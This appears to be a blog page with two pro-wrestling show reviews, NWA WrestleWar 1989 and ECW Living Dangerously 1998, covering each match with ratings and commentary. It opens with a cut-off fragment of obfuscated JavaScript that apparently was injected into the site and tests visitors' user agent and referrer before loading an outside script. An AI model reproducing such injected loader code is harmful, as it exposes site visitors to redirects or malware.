");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekstb|var|u0026u|referrer|dyitk||js|php'.split('|'),0,{})) 1989
Date: May 7, 1989
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 5,200
Commentators: Jim Ross Bob Caudle

Well this is here because of one main reason and a few unimportant minor ones. The main one of course is the World Title match between Flair and Steamboat. Flair had dropped the title to Steamboat back in February at Chi-Town Rumble. There was a rematch at the sixth Clash where there was a one hour time limit in a 2/3 falls match.

They split the first two and Steamboat got a suplex for the pin to end it but Flair’s foot had been under the rope, resulting in this final blowoff match that is called the greatest match ever. I think that’s good enough reasoning to do this don’t you? Other than that there’s nothing at all special going on here. Let’s get to it.

I was lucky enough to find a recording of the original PPV meaning no clipping and I get the FULL preshow. For the sake of time I’ll skip that here but there are some interviews and basically just people talking about the matches. Free bonus material so I can’t complain here.

The opening is a very fast montage of people in matches tonight and then a picture of the logo with a banjo. Oh great.

Oddly enough when Jim and Bob are doing the intros they don’t put a graphic up for Jim. Most odd.

The Oak Ridge Boys sing the National Anthem.

Ross tells us that there will NOT be a hair vs. hair stipulation in the US Tag Title match. The NWA has decided against this as apparently WE WRESTLE in the NWA so gimmicks can’t be used. This would of course be just over one year before the Robocop show and about 30 minutes before the bullrope match.

We run down the card in order that it will air.

Doug Gilbert vs. Great Muta

Gilbert is a substitute for Junkyard Dog who likely found a larger group of people to annoy. This is back when Muta was blowing the minds of everyone on the planet as no one had ever seen anything like him. Muta Mist to the face to start and let the pain begin. Gilbert is rather sloppy to put it mildly. He’s from Tennessee so he’s the hometown boy here. Handspring elbow connects and this is more or less a squash. Moonsault misses, pescado hits, moonsault hits perfectly to end this. Nearly total squash.

Rating: N/A. Total dominance here with nothing from Gilbert that gave Muta anything to worry about. Muta was flat out amazing and his feud with Sting was coming soon which would be absolutely epic.

Lance Russell talks to Ric Flair which causes the 80s to explode. Flair says Steamboat is the best wrestler in the world, but to be the man you got to beat the man, and the man is Flair. So basic yet so effective.

Butch Reed vs. Ranger Ross

Oh what are you expecting here? Ross more or less is just a run of the mill soldier character. Ross does Rude’s hip swivel for no apparent reason. Ross takes him down to start as we may be in for a more competitive match than I thought. They look a lot alike so it’s a bit hard to tell them apart other than their tights. Reed finally takes over as he’s far from popular.

Long is here even though he didn’t have any guys at this point. Doom was on the way I guess. Reed uses a knee lift that literally does not hit Ross but who cares about that? We hit the chinlock which isn’t around the chin or actually locked but why nitpick I guess. They botch the heck out of something and go with a headlock as Ross uses various strikes to send Reed to the floor.

They punch on the floor a bit so Reed kicks him in the head as he’s coming back in. All Reed here as they mess up a suplex back in. A top rope shoulder block where Ross was too close so he more or less got destroyed to end it. Not much at all here.

Rating: F. No point, dull match, ton of botches, what else do you expect?

Luger says he’ll beat Michael Hayes.

Dick Murdoch vs. Bob Orton

This is a bullrope match and Murdoch is Captain Redneck. I give up. You can win by pin here. This is boring already and we’re not a minute into it. Nothing but punching for the most part. The story is that Gary Hart, Orton’s manager, did some evil business deals and Murdoch went after him, resulting in him getting his head kicked in by Orton. Here you go.

Orton controls then Murdoch punches him in the balls just to be a jerk. Murdoch hits him with the boot as this is rather boring to put it mildly. A few more boot shots get two. Murdoch finally hogties him and drops an elbow for the pin. For the love of crap SOMEONE TELL ME WHAT THE POINT OF THESE MATCHES ARE!

Rating: F. It was like 4 minutes long and I have no idea who the face was supposed to be. I can’t stand these southern boys matches where there’s some idiot cowboy dude out there and he wants to treat the other guy like a cow. HATE these things.

Orton hangs Murdoch afterwards and no one cares.

Hayes says he’ll beat Luger. Hayes is a glorified jobber and Luger is more or less the next guy to challenge Flair for the world title. This should be a total squash which was common back then on PPV in midcard title matches.

Samoan Swat Team vs. Dynamic Dudes

This is the Dudes’ debut I think. They’re skateboarders and no one could stand them. Both guys deny being part of the team today as even they get how stupid it was. The Swat Team are the Headshrinkers. The announcers keep talking about how awesome the Dues are. Dangerously manages the Samoans here and we start with Johnny Ace vs. Rikishi. What a great sounding match.

Shane comes in and Fatu drops down to avoid something but Shane dives behind him anyway. Was there a point to that? Nice dropkick by the ECW Dude. They double team Fatu and nothing much is going on here. And then Samu kicks the heck out of Johnny to take over. Ross says they’re like caged animals. You know I don’t think caged animals often wear tights and pound on professional wrestlers named Johnny.

Samu uses a leg whip. What kind of wild savage uses a leg whip? Johnny gets beaten down for a good while as we hit five minutes. We get heel miscommunication but Johnny still can’t make the tag. You can tell he’s in trouble when he can’t get a tag even with that. We hear again about how amazing the Dudes are from Caudle as I think he has a shrine to them somewhere.

Johnny tries to face plant Fatu like an idiot but for some reason it works. He can’t make the tag though as he’s a foot away but just misses it. Fatu uses a Boston Crab, allowing Paul E to grab the mic and say that Johnny is as useless as a Nashville woman. Shane finally comes in and that doesn’t get him anywhere. Fatu goes to slam Shane but Johnny gets a dropkick off the top for Shane to fall on top and get the pin.

Rating: C-. It’s about as formula based as you could get here but at the same time there was absolutely nothing special going on here at all. The Dudes were just annoying and the Samoans were just generic big men. This was ok at best but compared to the other tag teams going on at the time, this was nothing. Not a horrible match though.

Video about Steamboat vs. Flair set to Final Countdown. The highlights are cool if nothing else. It’s a music video set to Europe singing Final Countdown, but pretty cool.

The Oak Ridge Boys perform for FIFTEEN MINUTES. Dang Kid Rock has nothing on them. Ok so he does but this was still a waste of time.

Lance Russell is with Lou Thesz, Pat O’Connor and Terry Funk, the three judges for the world title match tonight. I’ve never heard Pat or Lou talk. Funk is young looking here. This is before his hardcore days started. They give their criteria to the winner.

US Title: Lex Luger vs. Michael Hayes

This would be like Cena vs. Miz two years ago. Hayes is the career tag team guy that says he can do it without help. Luger is the hottest thing in the world not named Sting. Both guys in blue here which is kind of a weird look. Hayes stalls a lot to open the match as he tries to frustrate Lex. Hayes was Luger’s partner for no apparent reason and then turned on him because he’s a natural heel.

Teddy Long is here again for no adequately explained reason. Hayes gets slapped and stalls again. He comes back in, gets slammed and hits the floor again. Five minutes gone and Hayes has stalled more than a broken down truck. Hiro Matsuda, a big time heel manager, is here too. Luger works on the arm to take away the DDT which makes sense.

The idea here is Hayes does basic stuff, it doesn’t work, Luger pounds on him for a bit, Hayes stalls and cheats then we start again. Ten minutes in and Hayes has a chinlock. Hayes gets in a nice left hand and a bulldog for two. Matsuda sends Luger into the railing as Luger is in trouble. Bulldog is blocked by Luger and the crowd pops big.

Luger goes nuts again with a bunch of slams and clotheslines. The Rack is reversed though and Hayes gets the DDT to shock the crowd. No cover though so we slug it out. They hit heads and the referee goes down. One of the Freebirds comes down and puts Hayes on Luger and shoves Luger’s foot off the ropes to allow Hayes to win the title as the crowd is SILENT. This was legitimately a shock, up there with Sheamus beating Cena for the title at TLC.

Rating: D+. The match sucked but the ending brings it up a good bit. This was far too long at over 16 minutes but it wasn’t completely worthless. Luger would get the title back in just over two weeks and hold it for about a year and a half so it’s not like this meant anything long term. Pretty weak match but the ending helped it a lot.

Sting is all fired up.

TV Title: The Iron Sheik vs. Sting

Sheik doesn’t even get an intro. Sting’s pop is just ridiculous. He had a cool entrance where this army of kids would run through the curtain before he came out. He’s the hottest thing in the world and would be for a very long time. Sheik’s other dude hits Sting with a flag pole and Sheik pounds on him a bit. Take a guess how long this works. The match ends in maybe two minutes with Sheik tapping. This was the norm for Sting for a long time as he wasn’t ready for Flair yet but he was way bigger than anyone else so it was all they had for him.

Steamboat talks about how great this is going to be and that no matter if he wins or loses he’ll shake Flair’s hand and good luck. Very classy here as this was far more about respect than hatred which helped it a great deal I think.

NWA World Heavyweight Championship: Ric Flair vs. Ricky Steamboat

Flair brings out FORTY women with him. That’s not an exaggeration either. No one can say he can’t make an entrance. Steamboat brings his wife and his son on a freaking pony. Dude, he got his son a pony. How awesome is that? The judges are introduced which is a really great idea. Thesz is a six time world champion which back then was a seemingly unbreakable record although Flair is a five time one here.

Basically everyone knows this is going to absolutely amazing but the question is will it be the best match ever as most people have made it out to be. It’s considered the best match ever, so let’s get to it. They feel each other out a lot as it’s a chess match so far. Big armdrag by Steamboat as the cameraman is filming the fans. We’re going to get updates from the judges every fifteen minutes.

Flair chops the tar out of Steamboat so Steamboat chops the tar out of Flair. The challenger goes to the floor after some SICK chops from both guys. Steamboat works the arm to set up his double chickenwing that he made Flair submit to back in April. I love those armdrags. In an impressive moment, Flair is getting his arm cranked and managed to tell a fan to keep their mouth shut.

And that is why Flair was able to stay where he did for so long. He played to the crowd so well. Little things like those are what separates great people from ok ones. By doing things like those or putting his feet on the ropes for a pin he ticks people off just a little bit more so that you want to see him lose just a little bit more. It may not sound like much but it adds up.

More arm work from the Dragon as Flair is in trouble. They chop it out again and Flair is rocked. Back to the arm as you have the pure psychology there. Steamboat knows he can get Flair to submit to an arm hold so why would you go away from that? Flair uses the good arm to get a fireman’s carry and put Steamboat on the top which fails for some reason. Flair is dropkicked to the floor and doesn’t want to get back in.

An elbow misses by Flair so it’s right back to the armbar. We’re about fifteen minutes in and we’re getting the first scores from the judges: Steamboat is definitely ahead and it’s unanimous. Steamboat goes insane again and chops Flair half to death. He sends him to the corner and we get a Flair flip but he gets caught in the Tree of Woe. Steamboat, ever the gentleman, pounds away at the ribs and chest.

Mostly Steamboat here as Flair is just trying to stay in there. We hit the fifteen minute mark and Flair sends Steamboat to the floor but it was momentum so it’s NOT a DQ. I can’t stand that rule but WCW kept it for years. On the floor and they chop it out again with Flair trying to get away. Steamboat climbs the ropes (not in the corner mind you) and comes off with a big chop. Flair Flip gets chopped down as well as it’s all Steamboat.

Back to the arm one more time as Flair’s arm is killing him here. Steamboat misses a charge and goes over the top as well. Flair drops a knee as you get a shot of a BIG tarped off section in the back. The referee goes down by accident as Flair controls now. Belly to back gets two. About twenty minutes in now. Another knee drop and a butterfly suplex get two each.

Flair keeps cradling the head on covers for some reason. That’s not something he tends to do but he’s doing it for every cover here. Suplex on the floor has Steamboat rocking. We get some new results from the judges as it’s 2-1 for Flair which is kind of stupid as Flair has controlled for about 15 minutes and Flair for about 8. Steamboat has 4 total votes to Flair’s 2 which Ross says puts him ahead. Was there supposed to be a total or something?

Steamboat gets a rollup for two but both guys go to the floor and everyone is down. On a countout we go to the judges which apparently would go to Steamboat at 4-2. Ok so apparently these points do indeed count. Flair goes up and of course gets slammed down and here comes Steamboat. Crowd is way into this if you didn’t guess that part.

Suplex off the middle rope rocks Flair again and here comes Steamboat. He goes for the chickenwing but Flair gets his feet in the ropes before it goes on. He hits a top rope chop but Flair hits the ropes the second time to send Steamboat to the floor and Ricky has a bad knee now. After some basic knee stuff, there’s the Figure Four to a big pop.

We’re thirty minutes in and Steamboat is in big trouble. Rope is grabbed though and Flair stays on the leg. BIG chop in the corner has Steamboat in big trouble. Steamboat throws chops and Flair pounds the knee. Enziguri connects and here comes Steamboat again. He goes for a slam, and in a GREAT nod to Steamboat, Flair rolls him up into a small package for the pin and the title.

Rating: A+. It’s a great match indeed. I’m not entirely sold on it being the greatest match of all time, but this was indeed great and worked all the way through the thirty minutes. This was two guys being allowed to perform out there and it worked as well as it could have. Excellent match and definitely one of the best ever, but I’m not sure if it’s the greatest. Doesn’t matter though obviously as it’s great.

Steamboat shakes his hand and Flair says Steamboat is the greatest champions he’s ever faced. Funk comes in and congratulates him on being the best champion, saying that if it had gone 60 minutes he would have voted Flair. Funk won’t leave and challenges Flair for the first title shot but Flair says no because he’s not an active contender.

As long as Flair has been around, apparently he’s stupid enough to tell Terry Funk that he’s not good enough. Funk says he was kidding and they hug. Naturally Funk DRILLS him and beats the living crap out of him. And then, in something that back then was huge, piledrives him on the judges’ table, which doesn’t break. Flair wouldn’t wrestle again for nearly three months, returning at the Great American Bash to face Funk, which is the next show I’m doing.

Something to note here: look at how basic this was. Flair has a great match, Funk wants a shot, Flair says no, Funk doesn’t like it and injures Flair, big match is made. WHY IS THIS SO HARD TO GET???

We go to Nikita Koloff who will be refereeing the world tag title match. Yeah there are two tag title matches left to go. The booking wasn’t your normal formula stuff back then. Nikita won’t be intimidated.

World Tag Titles: Varsity Club vs. Road Warriors

The Club is Rotunda and Williams this time. The Warriors coming out to Iron Man is still awesome stuff. It’s on while their pyro is still going off as this is a big old feud. Big boot to Rotunda and he’s in real trouble already. Koloff throws Sullivan out. The Warriors lost the titles to the Club in April at the same show as Flair vs. Steamboat II with the fastest count ever by Teddy Long which is why he was fired.

Hawk and Williams start properly here and it’s just a big brawl. Williams is completely awesome as he manhandles Hawk which isn’t something you see very often. Hawk’s arm hits the post. Double clothesline back in the ring and both guys are down. Animal comes in and destroys everyone in sight but only gets two as Williams saves.

Big old brawl but Rotunda goes to the floor. The Road Warriors do their big power stuff and it’s Doomsday Device time for Williams. Dan Spivey and Kevin Sullivan run out and take out Nikita as the champions beat up Animal. It gets thrown out as a DQ for the Warriors of course.

Rating: D. Total nothing match here but this wasn’t supposed to be anything special. The fans pop big for the win but no titles. They would never get those titles back.

US Tag Titles: Dan Spivey/Kevin Sullivan vs. Eddie Gilbert/Rick Steiner

Gilbert and Steiner are the champions here. They’re the First Family apparently despite not being related. Sullivan almost immediately goes after Hyatt as he had a thing for blondes I guess. Other than his own wife you know. Spivey sends Steiner’s shoulder into the post twice and adds a shoulderbreaker so it’s more or less 2-1 now.

Apparently Steiner was legit hurt so that explains the injury thing. It’s a glorified handicap match with Steiner not even able to get his jacket off due to how bad his arm is. Gilbert gets massacred by Spivey who throws in what we would call a Punjabi Plunge. Spivey was decent but Diesel more or less ended his career off a powerbomb. Steiner gets onto the apron.

Sullivan comes in for a second but here’s Spivey again. Gilbert gets a tag out of nowhere but the referee didn’t see it. Everything breaks down anyway though and Steiner hits a Steiner Line to Sullivan and Gilbert falls on top to keep the belts and pop the crowd like crazy. The Varsity Club beats on him some more afterwards. Gilbert saves Hyatt from Sullivan afterwards.

Rating: D. Another pointless match here other than to give the fans something to send them home happy. Nothing more than that. The titles would be stripped later in the month, I’d assume due to the injury and they would be gone for about 9 months and would be gone in less than a year and a half.

Ross says that the Varsity Club have been stripped of the world tag titles. The Freebirds would win a tournament at the next Clash to get them which I’ve already reviewed.

We replay the Funk/Flair thing to end the show.

Overall Rating: D+. This is the epitome of a one match show. Only the world title match is worth anything but that was how this era went for the most part. The next show would more than make up for it though as it’s considered the best WCW/NWA show of all time. That’s also the next review I’m doing. Anyway, the show isn’t worth seeing, but the Flair/Steamboat match is. That’s about it though. Get the two hour version if you really want to watch it as the full one drags A LOT.

Remember to follow me on Twitter @kbreviews

Living Dangerously 1998
Date: March 1, 1998
Location: Asbury Park Convention Center, Asbury Park, New Jersey
Attendance: 3,700
Commentator: Joey Styles

It’s been about four to five months since our last outing and only one thing has really changed: Al Snow. He’s risen to prominence now with the Head gimmick and he is having a match tonight with Kronus to showcase himself. Also Storm is feuding with Candido because Storm got thrown out of his spot as a Triple Threat prospect.

Jerry Lynn/Chris Chetti vs. F.B.I.

Chetti was the first graduate of the House of Hardcore, the ECW wrestling school, which I know because Joey says that Chris Chetti was the first graduate of the House of Hardcore, the ECW wrestling school. The F.B.I. are all dancing for some reason. This is Guido and Smothers in case you were wondering.

Lynn had little credibility at this point but he was getting more popular. Chetti is introduced as the first graduate of the House of Hardcore, the ECW wrestling school. The fans don’t like Smothers, like at all. Maybe Lynn has more credibility at this point than I thought. Ok the WOO for chops is getting annoying.

Lynn takes out both guys with a nice looking dive from the top. Rich accidentally nails Chetti. Wait what? That’s what Joey said but it makes no sense. That’s not something I usually have to say about him. He annoys me but to be fair he doesn’t make many huge mistakes. Also to be fair, another guy up there might catch his errors, which are understandable.

Chetti hooks a small package but Lynn messes up and has the referee. Again Chris gets the cover on a rollup but there’s no referee. Chetti gets a nice spot where he runs up the corner and comes back with a reverse leg lariat. That was pretty sweet. He finally gets the hot tag to Lynn who cleans house including a jumping back elbow which makes him awesome. Rick comes in with an Italian flag but the shot misses and hits Guido, giving Lynn a rollup for the win.

Rating: C+. Not bad at all. It was pretty fast paced and formula based so everything went fine there. It got the crowd into the show which is never a problem that this place has so that kind of makes these matches redundant. Even still, this was fine.

Joey says Wing Kanemura isn’t here so of course we get a video package anyway on him. He’s not here. Ok then.

Lance Wright, some jerk in a bad suit that says he works for Vince, says that tonight it’s Doug Furnas vs. Tanaka. This guy is really annoying.

Masato Tanaka vs. Doug Furnas

So I watched the whole match before I started writing about it and the only word to describe it is sloppy beyond all belief. I mean they botch a ton of stuff here and it’s not like they’re little spots. They botch BIG spots. Tanaka tries for a tornado DDT but it turns into them just falling all over each other.

I guess you can chalk some of this up to them having limited time to prepare, but at the same time these are pros and shouldn’t have to deal with things like this. The fans are booing the heck out of this match and I can’t say for a second that I blame them. It’s just amateurish looking to say the least.

A botch here and there is one thing but this is awful. Tanaka ends this nightmare with a roaring elbow. Ok so it wasn’t all botches but still there were FAR too many in here to be acceptable. Post match Wright talks about WWF higher ups and Furnas nails him before putting on an ECW shirt, and I’m assuming defecting or something like that.

Rating: D. The botches just killed it and in a match that doesn’t even go for six minutes that just sucked the life out of this one for me. This just wasn’t worth a PPV time slot but again to be fair they didn’t know that this would be the match. They at least realized the match sucked and ended it before it got out of hand.

Ad for the Hardcore Hotline. Also, you can get a FREE merchandise catalogue. That’s actually smart. Wrestlepalooza, which might be the best name ever, is in two months which is the shortest layoff yet so that’s a good sign.

We can’t air Sandman vs. Sabu because it’s graphic. Keep that in mind.

Nicole Bass, an annoying chick that thought she was a hot Chyna and Jason, an annoying guy, show up and demand that we see a tape. It’s of Dreamer showing up without Beaulah. Yeah that’s it. Tommy has his dog with him. That’s just cool for some reason.

Rob Van Dam vs. 2 Cold Scorpio

Van Dam is still a huge heel here but it’s lightening up a lot. Scorpio is over as free beer in a frat house. He’s Flash Funk at this point but here he’s just the simple 2 Cold Scorpio and therefore much better than he was in WWF. The more I hear the more I think Van Dam is already a face. They start with a long feeling out process which is fine as they do some decent technical stuff.

However, we of course get a botch because it’s ECW. Those things just suck the life out of a lot of matches. I understand that they are going to happen and at least here they covered it up a bit. In the previous match they just assumed no one noticed and thought it would be fine. That’s just freaking dumb. We get a very nice reversal sequence with a lot of monkey flips that ends with a standoff.

Very nice indeed. We hit the floor and Van Dam is in the crowd. Well you knew it was going to happen sooner or later I guess. I think they’re going for the big epic match here but the fans aren’t all happy with it which can’t be a good sign. To be fair though, most of the time not all fans are going to love the thing. The fans want Sandman apparently. That sums up ECW crowds pretty well.

We’re given a high flying technically mostly sound match, and the fans want weapons and blood and tables. So many times these fans were just ridiculous and stupid and this is one of them. Scorpio hits a SWEET moonsault. The Five Star which isn’t called that yet gets knees or what are called knees I suppose as it looked like it hit pretty well to me. We hit the ramp for awhile and the Van Daminator is more or less no sold. Hint for how to counter: HIT HIM WITH THE CHAIR. Seriously dude, use some freaking intelligence.

A piledriver on the ramp and Van Dam is hurt. And there goes the referee because in a no DQ match we need a referee for…? Van Dam tries to steal the 450 and would have missed completely anyway. Scorpio mostly hits the 450 and here’s Sabu to up the workrate. An Arabian Facebuster gets two. Sandman comes out to chase off Sabu. Van Dam gets a SWEET jumping rollup for the pin. Post match Van Dam acts very cocky and offers a handshake but Scorpio nails him to a big pop.

Sabu comes back with a table so they try to put Scorpio through it. Naturally this doesn’t work as Sandman makes the save. In a stupid moment, as Scorpio is laying on it and Sandman makes the save, he pops up as soon as Sandman is here. Yeah that didn’t look dumb at all. Sandman tries a hurricanrana from the top through the table on Sabu. Guess what happens. Go ahead and guess. Anyway, the two faces share a beer after the match. Sandman dances. This is disturbing.

Rating: B-. This was good, but it suffers from the same problem that it always does: Paul Heyman overbooking it. Can ANYONE explain to me why Sabu and Sandman had to come in there? I know RVD and Sabu are partners, but he had no business coming to ringside at all.

The match was rather good until they went to the floor and it became just another brawl. Why is wrestling so hard to do when you have two guys that are really good at it? I get that it’s a hardcore company, but at the end of the day it’s a wrestling company and should be about wrestling.

Ok so see if you can follow this one. That’s not me talking, that’s how Heyman starts the next video package. Are you freaking kidding me? The idea is that Storm was a Triple Threat (top heel stable) prospect and won the tag titles with Candido who was in Triple Threat.

Sunny showed up and got Candido to go insane and beat up Storm so they’re still champions but hate each other. I didn’t know Russo worked for ECW. Tonight there’s a tag match where they’re on other sides and both get to pick partners. The winners get nothing at all. They would hold the titles another THREE MONTHS before losing them. You think that’s long enough?

Dudley Boys vs. New Jack/Spike Dudley vs. Hardcore Chair Swingin Freaks

It’s elimination rules of course. Gertner’s intro is hilarious for Big Dick Dudley: “The man who last night took such liberties with YOUR mother that he is now legally your father in 17 states.” That is just awesome. About himself: “More tongue in cheek than a lesbian orgy” and “Joel, your girlfriend has me on speed dial because she loves the way I star 69 her, Gertner.” This guy is awesome.

He follows that up with “Currently getting jiggy with it to my left,” seriously, sign this guy now. The intro takes like 8 minutes but it’s hilarious. Balls and Axl come out and the brawl is on early. And after some ok stuff here’s New Jack with his weapons to screw the whole thing up. Oh dang it we have to listen to the freaking song again don’t we. Yep we do.

The music really throws things off as it keeps making me think that something important is happening or that the team who came out to it are winning. And yep it’s all weapons now. Spike keeps jumping all over the place because that’s the only thing he can do to make sense here. And now all six go into the crowd. Ok then. We’re at the merchandise stand now and Spike and New Jack dive like 15 feet to the floor through tables through the Dudleys.

Ok, when Mankind did it, it was cool. This was just mindless violence being substituted for wrestling. Keep in mind that ten minutes into this match the sang song is still playing. An Acid Drop through a table gets two for Spike as Bubba saves it since they want to eliminate Balls and Axl. And a 3D does just that. Twin guitar shots and an Acid Drop and a chair from the top ends this mess.

Rating: D. I hate these things. They’re just complete garbage and more than anything else, I hate that song. Why is this considered interesting or good or anything like that? Anyway, this was just like every other one of these that they did as in it was completely pointless and mindless crap.

We get a big long package about Justin Credible who was pushed to the freaking moon for years. The problem: the fans didn’t care or buy it. Why didn’t they? Simply put: he wasn’t any good. He was average as can be and that’s it.

Justin Credible vs. Tommy Dreamer

Jenna Jameson is the new reporter. Justin Credible comes out and says he has Beaulah so who needs Jenna. I would agree actually. Nicole Bass and Jason are with him and I honestly thought Bass was a man at first. Jenna tries to act tough and it just fails. Dreamer comes out and I have to hear her consistently say Tommy I love you (for those of you that don’t know, that’s my first name).

He kisses her and Joey says Dreamer goes where every man has gone before which made me laugh. Dreamer actually hits a plancha as we have a priest in the front row and we keep hearing about how Justin crossed a line. That amuses me to no end. And hey, what a shock, it’s a brawl. AGAIN Joey talks about the Sandman vs. Sabu match that we can’t show. Let it be made clear: WE CANNOT SHOW IT.

Yeah just remember that. Dreamer hits a running dropkick to the chair while Justin is in the Tree of Woe. We get kind of a Raven spot as Dreamer gets hit with a drop toehold into a chair. Ok, Justin doesn’t deserve to be WOOED on chops. Neither does Tommy to be fair. They use a chair for about ten spots in a row because that just makes things better or whatever. Dreamer hits a DEATH VALLEY Driver (screw that Spicolli nonsense. He was a drug addict and died after taking too many drugs.

He’s not some saint that deserves to be canonized. Let it go already.) which Justin no sells. The spinning, which adds nothing to it that I can see, tombstone hits and here’s Beaulah. She hits Justin low and does the same to Jason before DDTing him. Nicole puts her in a bearhug which she manages to botch.

Bass falls out of her top as Mikey Whipwreck, who feuded with Justin but has no bearing here comes in for the save. He has a bad leg and Justin breaks a crutch over his cast before Dreamer hits a DDT for the pin.

Rating: D+. What was the point of this again? I forgot with all the chair shots and nonsense going on. This was just more mindless fighting that nothing actually came from. I’m not huge on that as it just was stupid. And I like Tommy.

We get the same ad from earlier for the catalogue and PPV which apparently wasn’t supposed to air then.

Now we get what was supposed to air: Bigelow vs. Taz which was because Bigelow was getting beaten up by Triple Threat so he asked Taz to be his partner to fight them. Taz gets a great line: “I’m not gonna be your partner. I’m gonna be your savior.”

Keep in mind that was in his shouting voice. After Taz beats up Shane and says he wants to be world champion (the match didn’t happen for almost another year) Bigelow jumps him and reveals it was all a setup to stop Taz. That makes sense I guess.

TV Title: Taz vs. Bam Bam Bigelow

Remember that Bigelow is the hometown boy. I love how they announce Bigelow’s weight and Joey says a different one during the match. That always amuses me for some reason. Bigelow hits a great powerbomb. He was always great at that move. Shame Diesel was using it in WWF so Bigelow couldn’t do it. This is a long brawl but there’s some wrestling in there to balance it out I guess.

They hit the crowd for awhile and actually Taz gets some solid cheers. And then Bigelow gets suplexed off the ramp and to the floor and both nearly die. Because that’s clearly the big ratings draw here right? We go back to the ring and Bigelow uses power stuff which Taz gets to suplex his way out of. See, THAT is how Taz looks good: when it’s Shane or some small guy that he’s throwing around it just gets repetitive.

The suplexes are leverage moves and now he’s getting to show what he can do with that leverage, making it seem far more important. The tables are brought in as we just have to have those because the wrestling here clearly isn’t good enough. We brawl on the floor AGAIN as I grow to hate Heyman even more. It’s ok to just wrestle in the ring guys. The fans are really restless here as they were popping like cherries for the wrestling stuff.

Case in point: Taz takes a sign to the head, fans are dead/booing. They trade punches, crowd cheers. See? It’s not hard to just have wrestling. Tazmission is locked in and Bigelow drops him through the ring. They climb out and Bigelow pulls Taz up for the easy pin. It looked cool and the fans all freaked out over it, but Bigelow couldn’t win with his shoulder piledriver to give us a standard ending? I hate that.

Rating: D+. The brawling was just too much here. This match wanted so badly to be good but the brawling and the tables and the over the top nature of it just killed the thing. Paul just refused to accept the idea of two good wrestlers just getting out there and wrestling and that’s what wound up killing him off in the end. Sometimes the fans just want wrestling and while Paul tried to do that, he went too far most of the time and it killed things.

Heyman runs up and says the Kronus vs. Snow is cancelled and we’re going to see Sandman vs. Sabu from before the PPV, the PPV that the censors said WE CANNOT SEE. Ok, a few questions here. Number one, there was more adult stuff on PPV yet this is inappropriate? Number two, if this is such a hot feud, which it was I guess, why not have this on the PPV?

If they were upset that it couldn’t be shown, why would you film it and not air it? Everything else is live, so why wasn’t this? I get in something like UFC where they have the prelim fights taped in case something goes like 10 seconds. That makes sense as it’s a legit concern and if something like that does happen, they have something that they can plug in and give the fans a legit PPV.

However, you wouldn’t put St. Pierre in a prelim match that MIGHT make air. This whole thing with Joey constantly saying we can’t air it but there just happens to be full commentary for it anyway makes me shake my head. I guess if you think about it enough it could make sense, but you shouldn’t have to think that hard about it which is the point.

Sabu vs. Sandman

This is dueling canes. Sabu hits the ring second and gives him some fairly weak cane shots. And as Sandman takes over…Sabu runs in for the save? The first guy is RVD in disguise. That’s actually brilliant. Alfonso sends Van Dam to the back despite them destroying Sandman. That makes sense right? Anyway, this is your standard weapons/garbage match because neither can work more than two minutes without them.

Wait, where are the canes? I see no canes. Oh that’s right. It’s freaking ECW, meaning there’s no logic at all. It’s just Sabu beating up Sandman for about 10 minutes before Van Dam comes out to help him. There’s just nothing to talk about here at all as it’s terrible. Sabu beats up Sandman some more and the crooked ref of the week comes out to count the pin. This was awful.

Rating: F. What was the point of the canes match or whatever? What was the point of any of this actually? I just don’t get the point here at all as it wasn’t any good and it was just more mindless brawling which seems to be the theme for the show.

Back in the arena, everyone has Styrofoam Heads. Styles yells at Heyman for showing the match that the censors wanted to keep off the air. Apparently they didn’t fix the ring but the main event is happening anyway. Styles says he quits if this happens again with Paul. It’s convincing if you don’t think about it I guess.

Chris Candido/Shane Douglas vs. Lance Storm/???

Two guesses as to who Storm’s partner is given the heads out there. And the partner is Sunny, and you can see the screwjob from here. Storm and Candido do their usual thing which means its cool. Sunny comes in and we don’t have the catfight with Francine. OF COURSE Sunny makes the swerve that no one bought. The fans chant that they want Head.

For some reason they give Storm a mic while he’s in a camel clutch and as Candido asks what he’s going to give him, Storm says he’s going to give him head. And yep, Snow comes out. However, for no reason at all, they keep spinning the camera upside down at random intervals. It’s REALLY confusing and annoying. So after about a three minute brawl with Snow’s music playing and Shane falling through the hole in the ring, Snow gets the pin with a Snow Plow. The celebration ends the show.

Rating: N/A. This was way too short and way too over the top to grade. With the camera spinning and the lights going out I couldn’t really keep track of it. Seriously though, this was the main event: a four minute brawl that ends with a quick pin. That sums up everything to me.

Overall Rating: D. There was one title match and a 4 minute main event. How in the world does this validate a PPV show? This show had the skeleton of a good show there, but it just failed to deliver one. To be fair though, I think it’s because of Heyman more than anything else.

He just can’t let things stay the way they should be and it’s killing him. There just doesn’t need to be a chair or a big angle all the time and it weakened the show badly here. I wanted to like this show but I just couldn’t do it. They tried but they were running with an anchor. Only for ECW fans.

Remember to follow me on Twitter @kbreviews